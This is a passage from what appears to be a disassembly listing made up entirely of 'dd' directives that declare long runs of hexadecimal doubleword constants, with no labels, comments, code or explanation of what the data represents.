		dd 92744819h, 9AF5ABB2h, 38B2C021h, 0BDEAD7Bh, 56337277h
		dd 2B6B2678h, 5B79907Dh, 49B300BAh, 0F0AA32Fh, 0E802A716h
		dd 0B784401Ah, 0C6375F30h, 0EA04B513h, 0E0B81169h, 2B5AA3A3h
		dd 9E8704DBh, 0EE6190CEh, 4038B385h, 7AB74EB8h,	9CAF85B0h
		dd 8A120DE4h, 74AEF5DDh, 0A8DAFDD2h, 21730041h,	0D63D77DFh
		dd 59882F3h, 195520h, 14CFCB81h, 0E1FF2598h, 705D7B97h
		dd 0DD127B08h, 19F2DE8Bh, 1304B984h, 5E2177C2h,	79C35117h
		dd 0F73ECC3h, 0F5E469EAh, 164FE280h, 9497EEB7h,	665A690Dh
		dd 79E0176Dh, 0A6C1074h, 0DB0F05CDh, 29A4029Ch,	29F11F1Ch
		dd 542542A7h, 6F60170Bh, 0E0F40380h, 0AA0931DCh, 5C1B6233h
		dd 2CA12054h, 25EAA6B6h, 4DC03BC2h, 0E6B53275h,	1A02517h
		dd 1F479DCh, 4D9AA630h,	717AE022h, 72D2A760h, 25259086h
		dd 0AF6CA404h, 7171BD25h, 0D6B4C8CBh, 0FC42650Eh, 5A2E62EFh
		dd 4079D52Dh, 16409826h, 0FD50938Fh, 31B8533Dh,	0DF2C712Dh
		dd 0C4177813h, 0B5222501h, 9583786Dh, 31D0A2DBh, 0ED80151h
		dd 0E97FDE25h, 0D11FA514h, 3C5E009Dh, 0FE52BD51h, 5D50FA1Eh
		dd 2F9B27C0h, 0B683FE5h, 0C690AF9Fh, 516145FCh,	5CC65B56h
		dd 54600231h, 0D182398Eh, 4B5B0341h, 300B6200h,	1E517E49h
		dd 0A88FB2Fh, 25F873A6h, 186476CDh, 67B89C60h, 338F0204h
		dd 84BF2DBDh, 0D380B8E2h, 0C9E092B6h, 670BD05Bh, 8A15666Ah
		dd 0F82C74F8h, 127DB25h, 0D1E9F8BFh, 0B01D3701h, 2A070BBh
		dd 4312F810h, 0A582205Ah, 0B05E3165h, 0A8BCF9E4h, 0F0F3E697h
		dd 24DBB41h, 9122A4B9h,	0E3DA9D8Bh, 0E61BB725h,	0E90C94CCh
		dd 0BB5C3E4Ah, 20FB5EBh, 304CD976h, 56CC9B42h, 83966C4h
		dd 0A5125DA2h, 0D250BC26h, 92805BDAh, 86AF4F71h, 5A04F0EEh
		dd 9CB376DFh, 3E7E1ED5h, 6EF3E202h, 0DC43D4B1h,	0B25709A7h
		dd 60606D04h, 3166C5D8h, 90F58D2Eh, 810F9685h, 0F35F35A3h
		dd 6C940030h, 0BB236411h, 5BC012B3h, 0FD6BAE96h, 0EF131423h
		dd 362CF100h, 9966968h,	0DC8A3E83h, 95F05AD8h, 0E09D9C79h
		dd 9DE30A68h, 0F5E2C1Ah, 50163410h, 4E12AC51h, 57E65B16h
		dd 0D2D67AE0h, 0B871373Ah, 0B54BF8EAh, 80946422h, 0C6B309B4h
		dd 14D830A7h, 2E59856Eh, 0B7A7B89Dh, 0FC612D22h, 1CD9547Bh
		dd 0E401A718h, 0BB256D5Bh, 8A6061A1h, 8A56B7FEh, 46F65949h
		dd 9DAD1B5Ah, 0EB9F94E0h, 0FAADA106h, 0D3004A63h, 4A8AC75Dh
		dd 42F84998h, 0FF72BE1h, 0DAFE32A0h, 0ACB5CC01h, 26BD8529h
		dd 0EA87E63Ah, 5F071723h, 919AA7Bh, 0A063D21Fh,	9513AD67h
		dd 4B0B3FE7h, 0D047D304h, 8C05BE25h, 53100136h,	25A47FF0h
		dd 0C15EB763h, 6D821559h, 21A19D89h, 91CA37D5h,	0CFAF801Ah
		dd 279A5B2Bh, 64602E0h,	70CC564Ch, 90B2558Ah, 0BA37D7h
		dd 37FB4C4Ah, 924CCF20h, 26D10F5h, 0BD13033Bh, 8A6FAE05h
		dd 0A8001C23h, 876A9EEFh, 230313F8h, 0D1CF04C8h, 0A6821611h
		dd 717AC2BAh, 67D800C8h, 5A0B38E2h, 2085614Eh, 0ECB91CB9h
		dd 0A00CEF1h, 0B2793B4Ch, 0BCFD9D0Bh, 0D545257Bh, 0CBACD652h
		dd 9D122172h, 7BBD1351h, 0B8BDF9D7h, 0F69F56B7h, 6335EA5Ah
		dd 0F75E12EFh, 516E5F53h, 0BF883F0Bh, 0C0BE3502h, 616F6A74h
		dd 44C24FB9h, 0BBC04A3Ch, 776DA197h, 5C650B9Dh,	5E021004h
		dd 22FBBE1h, 85E78036h,	5B9DC26Ch, 181C59B8h, 6A8F00F7h
		dd 0BA4F56DEh, 189D543Fh, 27B52913h, 0E8FB2195h, 77584F2h
		dd 49288640h, 0DE319706h, 5F56D2F9h, 5954CE6Bh,	2F3AC5Ch
		dd 2D9CF564h, 30D5870Fh, 0BE95A919h, 1446D6D5h,	0E610C22Dh
		dd 3EEC4142h, 5A1FD57Bh, 38F91C9h, 0B79602A2h, 0A9E87611h
		dd 0B2CF80C7h, 5B7F2C02h, 0FC98D095h, 0C0FD8809h, 4D6D1303h
		dd 0A2A7212Bh, 0B696045Bh, 818D17A4h, 986EB184h, 0AC091423h
		dd 0E57E02F5h, 0ED5E0C2Ah, 0D5B92D4Ah, 5D1349D4h, 8B48A31Dh
		dd 0D88FFB6Ch, 0ED00778Fh, 0E66D5BAh, 1031E7EBh, 172995h
		dd 80A3B360h, 5E6152E6h, 4FE396h, 0F6C85FAAh, 0FC4103h
		dd 0D916F994h, 4BEECFACh, 2C3D0505h, 69A69620h,	5824EAE4h
		dd 8B60B461h, 3E09B97Ah, 46DAF89h, 85E861B6h, 0ACCB80C2h
		dd 91C8355Fh, 2335841Dh, 31379CEEh, 3452B55Eh, 60F39552h
		dd 21C9946Eh, 4EC55FD1h, 85C2ECA8h, 5F091419h, 65349001h
		dd 50B72FC6h, 4E770AA2h
		dd 4ED2775Eh, 4228C850h, 0C53EFD00h, 13710ECCh,	0A62B030Ch
		dd 67D60993h, 3A5BA381h, 4D412E2Dh, 0E9010AC5h,	0A9846B7Fh
		dd 8012DBAEh, 0DD8A95DEh, 12C15E8Bh, 4ECCE71Ch,	55A8ACA9h
		dd 0F97BA112h, 0BD8249A9h, 500218B1h, 40815653h, 0C0A895F7h
		dd 2E90544Bh, 34C4B6BBh, 0EE806D80h, 0B982719Eh, 12C50E61h
		dd 0FFC50A04h, 10BC29EDh, 5F2D9400h, 0BD93F15h,	0B50109C1h
		dd 8E5A0349h, 0E4124125h, 3112C6AFh, 99A1F91Ah,	10BBCCCEh
		dd 0EA7E0425h, 0BB9C502Ah, 0B4D878E4h, 0D730590Bh, 255E74C1h
		dd 77D9259Ah, 95F1FA2Fh, 0BE753A90h, 38055C02h,	0FF61D864h
		dd 1D91639Dh, 0F7FB0C80h, 7D054656h, 1B5AE4C8h,	0AC6320FBh
		dd 30382C5h, 0A0043D6Dh, 0A571F024h, 4F251CF9h,	561F0593h
		dd 810481DEh, 0CA37BF01h, 0DAD61FBDh, 34AC8071h, 972AF542h
		dd 0DDD79Ah, 0FF909D52h, 785B97D1h, 75FD0E70h, 812B0112h
		dd 2F9316D3h, 0D6292F1Ch, 6E375FE7h, 0D17E005Eh, 46A8EB59h
		dd 0BA6C60EFh, 6A2660F7h, 9D030212h, 0AC3A56BFh, 79AA496h
		dd 637368C6h, 4DD08A2Dh, 601C645Bh, 0E1F96E9h, 0D438D5ACh
		dd 4024B88Fh, 0B1E5BC0Fh, 0BC04C514h, 0D07A87DEh, 91A97660h
		dd 7BDE04C9h, 0F11E3BDBh, 0CC312E37h, 5FE88A51h, 0F35075FCh
		dd 0E858E96Eh, 36630222h, 0DB8924Eh, 1271F7C0h,	2D9D3380h
		dd 75710C11h, 0A5D22347h, 62945724h, 8F6C6BDh, 27D1BD03h
		dd 61F8CF3Dh, 0AE380212h, 6ABAE074h, 8250263h, 7910EE72h
		dd 0D7130016h, 7CF0C5EAh, 0FF6A4A02h, 0E4799589h, 35B52D69h
		dd 77818C3Dh, 0BDDFE7C4h, 165F8020h, 42FDDA7h, 0BDF04474h
		dd 3BF49C92h, 0F943C8FAh, 0DDD0511Fh, 0B4C2F7C0h, 18E242DBh
		dd 0A8A438C5h, 5B8016B5h, 8A8697B0h, 0E62813A5h, 34F2CB70h
		dd 0A071E480h, 9724DDADh, 0C2C09A99h, 96BDFB24h, 1EF8F0D2h
		dd 507D6182h, 36009333h, 296570A6h, 8C254255h, 6F2CE09Ah
		dd 482B12EEh, 0DD42AE5Bh, 5E0CF99Dh, 2BFC40A2h,	8D02BBC8h
		dd 8B5469A7h, 410D41D1h, 76E96B8Ah, 44850740h, 0AA5F164Ch
		dd 256470FDh, 0BDA60941h, 0F4FB12C7h, 0D78A1755h, 9D2B4A18h
		dd 5D2AFD32h, 39BD1048h, 5BDC1A4Bh, 5CE695B3h, 9D563144h
		dd 45B4E110h, 82C8E83Ch, 188692A4h, 0CC415E5Fh,	0B38B033Ah
		dd 0D610CDB7h, 16093B65h, 49B81B25h, 0F44E6A1h,	53C01B88h
		dd 63F598Dh, 3BB619FDh,	7CBE76FCh, 0AE7A6A93h, 0E413E900h
		dd 0ED4EEBC7h, 0E7A04B5Ah, 0BAED9502h, 0D86016E4h, 7CB8A58Fh
		dd 26BAA796h, 89BD7E0Ah, 57031DB5h, 3056D111h, 0D11EEFBCh
		dd 1C245BEDh, 8B390518h, 4B9A97DFh, 0BC275E84h,	319AD64Bh
		dd 0E0AAF587h, 0F9B3F6A7h, 241287B4h, 0F9F443BDh, 4AF4A829h
		dd 4F48881Fh, 0F0854D00h, 0B9C752BCh, 0F91700FEh, 0B843F847h
		dd 9801C174h, 85293006h, 0E22A0339h, 8F6B96E8h,	0F3387A01h
		dd 510547BCh, 3CA12CB2h, 24B9D23Ah, 398C1BACh, 2B028238h
		dd 8F7EDA2h, 5CAC1ADFh,	2EB45E74h, 0DFA30AD4h, 13B13959h
		dd 51740991h, 1A1D3802h, 0BF665B00h, 0CA234B3Dh, 24642244h
		dd 0A72E08B7h, 12F4FF54h, 1BF28ACh, 0DEA6F4Dh, 19423059h
		dd 0CD310141h, 0AE2C342Eh, 912B308h, 0ABD3E1FFh, 2C8F0F70h
		dd 9383B72h, 579F22Ah, 55053342h, 0C20282BDh, 82B36630h
		dd 5705BDE5h, 1C7D3D9Ch, 0D0D9DB97h, 0F3BE1A36h, 11187440h
		dd 0F3CE2CD8h, 2DC90807h, 5E45F18h, 339497E1h, 1CF2A643h
		dd 7DB0DD32h, 607198F5h, 5A2D5671h, 3B0FE45Eh, 540059A9h
		dd 7C7386CFh, 0B500ACFFh, 5231F78Ch, 5A0872EAh,	165BE349h
		dd 6BD615Ah, 14CDB508h,	0E50B3324h, 0C90C5E06h,	1D5355Fh
		dd 558D29DFh, 45312F2Dh, 0DE6F0167h, 8BC49C3Bh,	94FFAEF2h
		dd 5A1BA915h, 10F04DB6h, 0A16C7DDh, 0C94A4F3Bh,	15428202h
		dd 0EA605E0Ch, 6F1C0163h, 629D0963h, 509009E0h,	119E452h
		dd 539C934Bh, 0F1724526h, 0F6B420EEh, 0E73B2200h, 310F341Ch
		dd 0D2509D8Ah, 0D088504Bh, 0FACA5017h, 9E5F00D0h, 0E1C6D59Ah
		dd 0FE13606Fh, 1506F990h, 16EE704Ah, 47B19501h,	0A36268E4h
		dd 8A1291CFh, 58258D0Fh, 4D00CACh, 9D15804Bh, 6E1D4F99h
		dd 74A53356h, 8A78A7E9h, 0DC042997h, 5300DCE4h,	35AB9B73h
		dd 0DD7A5EFh, 0AE9441Ch, 0A2A1D025h, 0EAE47B5Fh, 0B8A95197h
		dd 0F2DCF32Eh, 0DE9E301Dh, 65E2A200h, 90BD2F83h, 0FB56D26Eh
		dd 3FE94B42h, 0F4115402h, 0E48D7403h, 0E83D5389h, 0B7BD3157h
		dd 57FF8CAh, 607AF049h,	30933F00h, 8B0DBCC1h, 0F0E2BA4Ah
		dd 25212910h, 4F38EA5Fh, 95B06266h, 800094F4h, 919D0B8Bh
		dd 24E972Bh, 300065A6h,	1E502580h, 0AC3277h, 0E35760DEh
		dd 0D649584Bh, 40DDA74Bh, 36B0F066h, 6AE8A376h,	62B6CA3Bh
		dd 40371F4h, 0AE668560h, 8D728h, 2A0B0CF3h, 8480C98Bh
		dd 1EC87700h, 5C71C17Fh, 815B3EA6h, 0ED22F58Fh,	6896120h
		dd 55259D29h, 0AF8BDB01h, 0EB0C8084h, 1A881DDAh, 1DB2E0C0h
		dd 486B0B77h, 0A6C29663h, 2E5FC1B1h, 9BF2F95h, 3774858Bh
		dd 600B495Ah, 8DBA1881h, 441BCBB3h, 0BFC8AF11h,	0B99C0041h
		dd 0A2B32535h, 967F61E5h, 891F0B60h, 10D883Dh, 15C9267Fh
		dd 2F6535F9h, 0B5044934h, 68001395h, 3C9D3552h,	33225654h
		dd 0E0576700h, 714FF319h, 8D032862h, 243402AEh,	3C8236ADh
		dd 12DD37D7h, 556F33Ch,	1952960h, 0CA3AC8ABh, 61C7B800h
		dd 0EE0EBB90h, 12555F9Fh, 2C263050h, 4301BDC8h,	7A89FD2Fh
		dd 0A94813D2h, 0C5B6953h, 0E0009D44h, 78EB894Ch, 0E34D8775h
		dd 1F90B748h, 537CDABFh, 3A6BAF5Dh, 0A6001C23h,	350BCDC2h
		dd 0B423004Fh, 40FABF3Ah, 617607ABh, 0B7F2F809h, 6B7E7921h
		dd 5F80D671h, 32E3F012h, 0A8971380h, 528088B2h,	0A7176C00h
		dd 2989EA13h, 0C4E800E1h, 1571B8B6h, 149761B1h,	0A7625A5Ch
		dd 0F6E6B08Fh, 60459CA1h, 602ADE16h, 7AD7230Bh,	4B760610h
		dd 0F67B9F1Ah, 3189617Ah, 4D0CAC91h, 7F589466h,	7FCE254Bh
		dd 5E87E2E9h, 839D104Fh, 4CB01E27h, 0E714A925h,	84631265h
		dd 28DBBE57h, 7CC9EE96h, 4B3DEB60h, 8474A331h, 0DEAE052Fh
		dd 0DA0E850Bh, 2BD9F0C1h, 23ED6F2Ah, 3CF10017h,	8B0FFF12h
		dd 600B3191h, 43647DFCh, 92A7614Bh, 0C1ACE54Dh,	6B7A2802h
		dd 7839D00Dh, 92F29727h, 0FEAC2B97h, 2F12DE7Ah,	9CF749A2h
		dd 1886A5Bh, 6F37E015h,	0FA2396E6h, 2A4E9E07h, 0B7654030h
		dd 8901632Bh, 0CA067250h, 2E78957Ah, 0A696DE12h, 3499E0DDh
		dd 0F8B07459h, 0F65312ACh, 5BA04B4h, 0BC72E915h, 2C008C19h
		dd 9C6B8B1Ch, 979D23CBh, 890961DAh, 7B12E995h, 0BE56929Ch
		dd 2801C371h, 8D5E5F02h, 200586C2h, 80DBE5BBh, 8CCD694Bh
		dd 2546EAECh, 6FEA2751h, 40E9EF5Fh, 5CEB0D9Ch, 414CA02Dh
		dd 0A0060AB4h, 5E057927h, 0A70B5783h, 42247048h, 0E2FB2502h
		dd 2DAF5CB8h, 0EAC0A74Dh, 0B861CF9h, 0E0235BF2h, 3CEBB601h
		dd 0CE342FB4h, 97047EF0h, 0F0C4C34Eh, 8FBE18B9h, 0C31CC8A7h
		dd 6E04A7E1h, 57BC6330h, 0ED0A16FEh, 2DFB5858h,	0D9619986h
		dd 8D4D606Ah, 61811181h, 0C8DC9A6Bh, 666DC01Ah,	0D117B816h
		dd 0A8CDD833h, 9681C17Bh, 61028160h, 0BEAABB66h, 0E80F9D6h
		dd 0D1C08178h, 594367DFh, 0C311A50Bh, 2594F110h, 1AAEC68h
		dd 46023C00h, 0DBF59D61h, 5FD5A02Dh, 977BF358h,	6FC22936h
		dd 0AA00DE5h, 98E9EB94h
		dd 389081CAh, 1E8F2082h, 1EF48747h, 0DEDA9624h,	9821D997h
		dd 0FF99C60h, 0D4CA8C4Ch, 27B1160Ah, 892939AFh,	0D71DE11Eh
		dd 8921A696h, 0AB7DE404h, 57C06E9Eh, 4BA031D5h,	40ECE727h
		dd 0AB8815A7h, 30BAC0E5h, 0A2614AB6h, 6A690173h, 772FDD28h
		dd 1336A4E8h, 0AC74AD89h, 3C04DF7Ch, 78EAFAEEh,	59512775h
		dd 96E202E7h, 0E8E2AFCDh, 0D6517C6Ch, 0F85A1D46h, 0D7A18006h
		dd 9FC20178h, 1C1D7640h, 0D26B5381h, 0CC5E6164h, 0AF8ED325h
		dd 460273B5h, 55327AE9h, 15694002h, 998D8900h, 0D116BB1Bh
		dd 0B5C11819h, 9A2C77D1h, 5DA71612h, 4CD86F00h,	57D0EB61h
		dd 5F03D370h, 27A594Eh,	745BB251h, 8A606941h, 149D4C50h
		dd 505E6940h, 840237FFh, 0B8F64F42h, 5AA0D4F7h,	0AB9652BDh
		dd 5DC64822h, 0BC034BBDh, 988E74BFh, 2C95716h, 9FE2E381h
		dd 9E5D5FDDh, 5996937Eh, 0E4B6C448h, 0AF847813h, 0F20093E2h
		dd 213702FFh, 94988AFBh, 5F911F02h, 55F192E9h, 0A356C80Bh
		dd 60C18B40h, 0A9BD4A09h, 0AEB90006h, 6108733Dh, 415DF833h
		dd 74742F35h, 0C0A96FADh, 0D015522h, 3E61C90Ah,	0B32F9041h
		dd 0E2B15A7Bh, 0F8F0C4F1h, 25B79D6Ah, 87E9F68Ah, 0A688B041h
		dd 0AFEDE56Eh, 70DED350h, 483F8ADDh, 41F38268h,	827CC95Ah
		dd 77D61889h, 17B14948h, 0E9874FB7h, 61A63A57h,	0BB5231FFh
		dd 3F1DF90h, 5CDCBB00h,	0EC50489Ah, 279D0539h, 0E579060h
		dd 5FECABFAh, 3D9DFC84h, 0F4080053h, 895C6220h,	1C905B09h
		dd 979B788Fh, 457359Ah,	74BA08BCh, 3C82AFF2h, 0F21A5D17h
		dd 1D491D4h, 7FCE0C48h,	30292A31h, 7B95DA8Eh, 5FCD4B98h
		dd 2B95A0C0h, 84D09589h, 0EA6E025Ah, 90883B0Bh,	35E7BB01h
		dd 0B70E7029h, 484C3958h, 93685936h, 0B5876CDBh, 9DBEC0AAh
		dd 0E91350FCh, 0EA20CD9h, 12D622C4h, 0C90A956Fh, 0F4B99Bh
		dd 0D3D781D9h, 614BF97Fh, 6A5EEDA7h, 0EFE4051Bh, 8D139D1Ah
		dd 5A8A5FB4h, 0D273E9FEh, 7412FD0Bh, 0DCF37271h, 1FE3AA50h
		dd 0C221366Ch, 0F5BFE5AFh, 0F6CE2274h, 0B0166AE8h, 558A055Ch
		dd 0A03BA718h, 7D2B4843h, 0BF521C12h, 885AFA8Ah, 9A1E0CD6h
		dd 3540080Bh, 5B7DAE8Eh, 9447B75Fh, 4E4C125h, 919A36Bh
		dd 98B945D7h, 0A514F8h,	82102AAEh, 70E65BA0h, 29BD2313h
		dd 0F88ADC44h, 39E7D1EBh, 0D4ED182Bh, 4B76E145h, 4B94A216h
		dd 1F26012h, 2D15FC2Ch,	0D000FC13h, 52AF1B6Dh, 43A908h
		dd 280FBCFBh, 58150E88h, 32FD619Fh, 2745F02h, 411E1A25h
		dd 0AB15496Dh, 1302DC9h, 0B0275EE3h, 0D15B8BFDh, 276CACF0h
		dd 455E96E9h, 39B52960h, 0E3628233h, 47551AC0h,	93950927h
		dd 97AEFD24h, 0FB1B6533h, 0C6DFD270h, 3320022Bh, 4A11FA79h
		dd 3761D9F5h, 0D21C462h, 76C2485Bh, 0C5976018h,	0B7279DDBh
		dd 0C3C4953h, 59C10414h, 39E90607h, 0A6F84B17h,	79B5088Ch
		dd 5223E421h, 603225F6h, 0E0A42DE4h, 24C1E061h,	7FA0DA9Ch
		dd 0D6E38013h, 0F01027A6h, 95446153h, 246F01C5h, 7D62F80Fh
		dd 6DE0ECCh, 0BEE9EC6h,	6DF5012Dh, 388BE015h, 0B83272BAh
		dd 4821A06Dh, 2EB81E8h,	3EB06647h, 0C589E4B9h, 97B7B7DFh
		dd 12C0AD41h, 3CB6FCE1h, 84EAB4E0h, 742C1100h, 359D29FCh
		dd 0F8ABA405h, 19E5B525h, 0A292E58h, 0F98F5CE8h, 179D08FBh
		dd 0C059FC27h, 598A784Eh, 2937BA50h, 3A0AE0A1h,	206B346Dh
		dd 3DD3226Ah, 0B1329A00h, 0AC4E48F0h, 1D2FFE5Ah, 0D29B96CDh
		dd 356FEA11h, 0D9941C07h, 0E876F402h, 62819231h, 310115D5h
		dd 93942FBDh, 0EC00CCB3h, 7D8E0234h, 2C02C140h,	22924844h
		dd 0ADCE7B5Fh, 0C60086B5h, 0BF729AFDh, 5DDD1329h, 14FA357h
		dd 0EE4FE781h, 2B3A4895h, 76BF002Ch, 332EBAD6h,	96F17D9Dh
		dd 8ECB844Ah, 0A20CE8D0h, 0E9BD778Bh, 3B2BEF80h, 96E73D4Eh
		dd 53814099h, 841F6075h, 0D72F1757h, 90290991h,	0BC5A0282h
		dd 4E88D61Dh, 0B6A2006Ah, 13CB1D1Eh, 140B34CEh,	7552F287h
		dd 0B557DA8Bh, 65CCA72Ch, 9AB68600h, 150F47Dh, 0D21269Dh
		dd 0E1FF89F3h, 793D9C07h, 69F29C57h, 57ED6CB5h,	2C8DBE0h
		dd 3989045Ah, 0AA9BD9EFh, 8809BE98h, 0A7DCD5Bh,	4A053CF0h
		dd 0B5313E3Ah, 97A997C6h, 3E24D94h, 3AFB97h, 77FB8C79h
		dd 9F0F8209h, 0C00C2CC9h, 0BB8E38EFh, 24CB27B0h, 2A1A3145h
		dd 465B6049h, 3A56B2BEh, 0A0055660h, 0AB25D2D6h, 5676D5CDh
		dd 0A27822A0h, 9852C4Eh, 64E59CA6h, 2708BD3Ch, 0D8C5D3E1h
		dd 0EC02AFD5h, 1060C12Ch, 7475738h, 0F5008CA0h,	2DBF90E9h
		dd 4A75A677h, 6F24C950h, 8602AFE3h, 90321281h, 4DC68DEh
		dd 8BE38ED0h, 56D0FFBDh, 1BEEDB81h, 5478E79Ah, 26211C10h
		dd 65F46800h, 0FBB37F86h, 0BAC8195h, 0D3E69966h, 126A701Eh
		dd 0ECC2BF04h, 67AC0ABEh, 12783D1h, 46D6F55Eh, 0A67C0018h
		dd 0E93E25AEh, 251B946Eh, 3855D95Ch, 3C21BE01h,	8006E8A2h
		dd 1866371Bh, 90A89843h, 9717E4F2h, 8B5B8794h, 0B5F4DFF0h
		dd 99D8837Bh, 0CAA24BA9h, 2A22A069h, 48FD023Ch,	53659B55h
		dd 2E00B366h, 2062FC87h, 39DF1CC0h, 189C5CD8h, 0FA8B4692h
		dd 649A65Bh, 78F88965h,	73CB24Bh, 3CB26050h, 405521B9h
		dd 93942A59h, 0ED4FEEACh, 2056EC7Fh, 5D20BE8Dh,	9681D1Fh
		dd 6048CBACh, 0C205FA18h, 315C2A01h, 0BBADC689h, 1485F8h
		dd 1EEBF7F6h, 8AB9D738h, 6A61C724h, 42AF82BEh, 0F59D8B48h
		dd 8D4EBD70h, 1B88FB9Ah, 1D38B4C0h, 7C5B00F5h, 0BD2B2A87h
		dd 91B725D5h, 6515DAB5h, 0E9A284h, 738FF6DCh, 35D2597h
		dd 2A605B39h, 80E077F2h, 5812D8ABh, 7D817E0Ch, 0AC0432CDh
		dd 0B70FB0DCh, 0B39495DAh, 38ED5D4Eh, 290166ECh, 0E9F1BF10h
		dd 868C1532h, 4AC70C5Dh, 0B06B67E1h, 1D41B332h,	63238Ch
		dd 1ABF40DCh, 5F043B78h, 32058529h, 0E5343BAFh,	5800D56Bh
		dd 8BA6D3BDh, 983B7BA5h, 5B66A780h, 0F0BF0494h,	0A1D4B87Eh
		dd 9E7B0438h, 2D7C813Eh, 52218657h, 9121C4Eh, 0A051B704h
		dd 12BE4DFEh, 0A25E1664h, 0AC11000Eh, 0E1E33547h, 0BEA22FE2h
		dd 7129C519h, 0D5C52BA1h, 0D2EEDAAAh, 0D204E7B6h, 0B8AB8BDCh
		dd 0C9E4BAAh, 0EB2943C1h, 0B046ED8h, 0B0B91C03h, 4676BD6h
		dd 2B9E3E14h, 1CA308AEh, 2F1BD84h, 8CE1960Bh, 7A917C50h
		dd 0B79D5F7Ah, 80290274h, 0B6B2F5C7h, 0B67A1AE4h, 3EC64801h
		dd 0A0A8F5D8h, 5FD92531h, 8984302Eh, 25EBD8Dh, 0C4A761BCh
		dd 9D47F4F9h, 7B020125h, 67B38909h, 8862B057h, 0EBE58B06h
		dd 0CAFAD484h, 0DBB71296h, 322936E1h, 0A40518B8h, 0A28F113h
		dd 829138C2h, 0F8205065h, 0F09612B8h, 4E24AF29h, 0C80A9AABh
		dd 0FE02C118h, 600CC02Ah, 3DB5010Bh, 0D145FD2Bh, 4BA2F11Eh
		dd 8A6F8CF8h, 0DB6AFD2Dh, 23D87892h, 94468F0Bh,	6D927709h
		dd 1861B202h, 0EB974DF7h, 78F8F74Ch, 117704B7h,	96E572FFh
		dd 10134F41h, 6335C7h, 0F44E80B3h, 431738DEh, 2670893Ch
		dd 7E0B6C64h, 2D440Fh, 0E138F886h, 5FC6C929h, 0C6505B25h
		dd 0D2965934h, 6FDD2ABDh, 52492E30h, 8180880Ah,	0B0D26FCFh
		dd 0FB8B7A12h, 0FE8BE7B9h, 93E23CD7h, 173058FEh, 0B2D70B03h
		dd 0D5089CFAh, 9BEFA3D5h, 65C18558h, 60AE6725h,	12D0BB95h
		dd 91AEB595h, 87968215h, 402D5E60h, 0FF747E22h,	0A01439h
		dd 0F6EC19A3h, 948CC1Fh, 0BA66A60Ah, 0B201B709h, 2F1005B5h
		dd 5419A29h, 0E66AF5C9h
		dd 0B016B2F5h, 5BBA7EA9h, 0E7A278h, 41BEA01Eh, 17328EF1h
		dd 0A485099Dh, 66B75F7Bh, 0BD01081Fh, 0D82D1605h, 0F32A4A00h
		dd 81348807h, 294C98BBh, 0F1E66A32h, 22DE6B4h, 7DFB6239h
		dd 6FE4552Bh, 0CB1A4523h, 2A4029EDh, 13695566h,	0C1F4E6DDh
		dd 3E65FDEFh, 0E9F15EF3h, 31806EDFh, 27958953h,	89691C15h
		dd 0B49F47C1h, 320F0F03h, 0A94264FFh, 0AC41D5A7h, 359C5B38h
		dd 9E09FB20h, 7D9140F7h, 0D4D4BF0Ah, 939C7869h,	0FADE3B24h
		dd 0EFE6EC52h, 0CFFDEDE0h, 0B73C42C0h, 6279BD0Bh, 280F325h
		dd 6ADD8A21h, 2A46F3Fh,	0BCE09465h, 11BCFC22h, 0F24E6C01h
		dd 5BA6A0D8h, 95FF7BE5h, 0CF03EFB7h, 8A0F7367h,	64457781h
		dd 0C983FF00h, 2D04A8h,	1417730Fh, 600D7BD8h, 0DBF68995h
		dd 0EF287100h, 235220E0h, 44C6092Dh, 989C7652h,	1E5D242Fh
		dd 756460E3h, 0B7002BCBh, 0BBB345A1h, 4C076711h, 9D0A8A46h
		dd 0A2FA2F0Dh, 122890EAh, 0A96A5F49h, 7A89284h,	0BB261920h
		dd 5C1AF105h, 0E0374D26h, 0E8877672h, 0BA30544h, 73F92BE5h
		dd 2BDF8B89h, 4DA422B9h, 16FD717h, 8B69D641h, 29E2882Bh
		dd 244B2DB8h, 19213D8Eh, 5302722Ch, 5C146D49h, 2B9B511Eh
		dd 6CB096B7h, 0FCE2C0D4h, 0CC3D6509h, 9C17066h,	26AF068h
		dd 99824937h, 414F334Eh, 0B31002F1h, 71955017h,	736030Ah
		dd 779083C6h, 1401166Ah, 0F632D109h, 2259015h, 0F045F67Ah
		dd 505EEA56h, 0B908A429h, 0AF034570h, 5BE9CB88h, 8436A37Bh
		dd 233EE565h, 0D69E001Bh, 93476ADEh, 30B0D824h,	66694C60h
		dd 0C24E4AEAh, 0A1745F53h, 0E02900DCh, 61067BFBh, 0A44E8DDh
		dd 8D153EA5h, 0DD7F67Fh, 8948AC84h, 79203FF2h, 9533419Dh
		dd 0B9A856D3h, 90911902h, 7F502FB7h, 44DF5E4Ch,	0E5B5A1EAh
		dd 8739583Dh, 290201FAh, 8F9992A9h, 4F95Ch, 19F5ABDBh
		dd 0CC07493Eh, 0B764E5D2h, 5C9EE7FEh, 1E7D6479h, 818B6F52h
		dd 5ECB640h, 2E086A08h,	0E65B1225h, 321DE2C2h, 0DA3EB075h
		dd 605F2E76h, 1A90844h,	81B5133Eh, 84610F49h, 1AB13568h
		dd 446AEA2Ah, 84701538h, 39B49A27h, 0E1A5C531h,	4CBBFF60h
		dd 0F9B5CAA0h, 91F7114Fh, 9E2C93A0h, 1ABDC904h,	0C3FCFA83h
		dd 1EEFD84Ah, 0FB1C318Bh, 306358Ch, 0F9170EB0h,	0E46170E6h
		dd 2EACB771h, 3B01D84Dh, 0E27DBBF4h, 0F7784A93h, 21CC62D6h
		dd 0C234EAE1h, 7EC34245h, 0C671A50Bh, 9826A038h, 815D69AAh
		dd 92C4C458h, 0ACAA25A1h, 346FC0CAh, 8D4D47h, 3C677223h
		dd 80C82B88h, 8B64C709h, 10F79D1h, 0B7924703h, 0F07AC87Eh
		dd 81C01B07h, 17612684h, 0A6840DCBh, 0B85BEA86h, 8E298BECh
		dd 9C91138Ah, 44C04E49h, 0EB0B09BBh, 0E6700462h, 0F59D2315h
		dd 4A5631D3h, 842E7CB4h, 12DCD80Dh, 428C2A00h, 9C8071DDh
		dd 0D0CF04CEh, 0B941B74Bh, 0F7212CD8h, 1932450h, 8A4C4B87h
		dd 409856C1h, 0E0AF5990h, 2F5C799Dh, 804A9077h,	9CB44BD3h
		dd 154781EDh, 90B2222h,	7420B5BDh, 20405259h, 8928A3D7h
		dd 23097F95h, 741AC9BDh, 63D45013h, 8DB79784h, 0FBCF7F00h
		dd 0E3E65F68h, 2A31F8D8h, 97AE95B5h, 0C5400315h, 607866Bh
		dd 8D296F16h, 0B910C939h, 81010F64h, 0B8AF57DFh, 0E47B2E0Bh
		dd 791C9A00h, 0FC46CC1Dh, 0C7244D9Fh, 7B3E133Bh, 51978688h
		dd 0C02B5B09h, 778E7852h, 6ED25E5Fh, 991405E7h,	12AAF5A9h
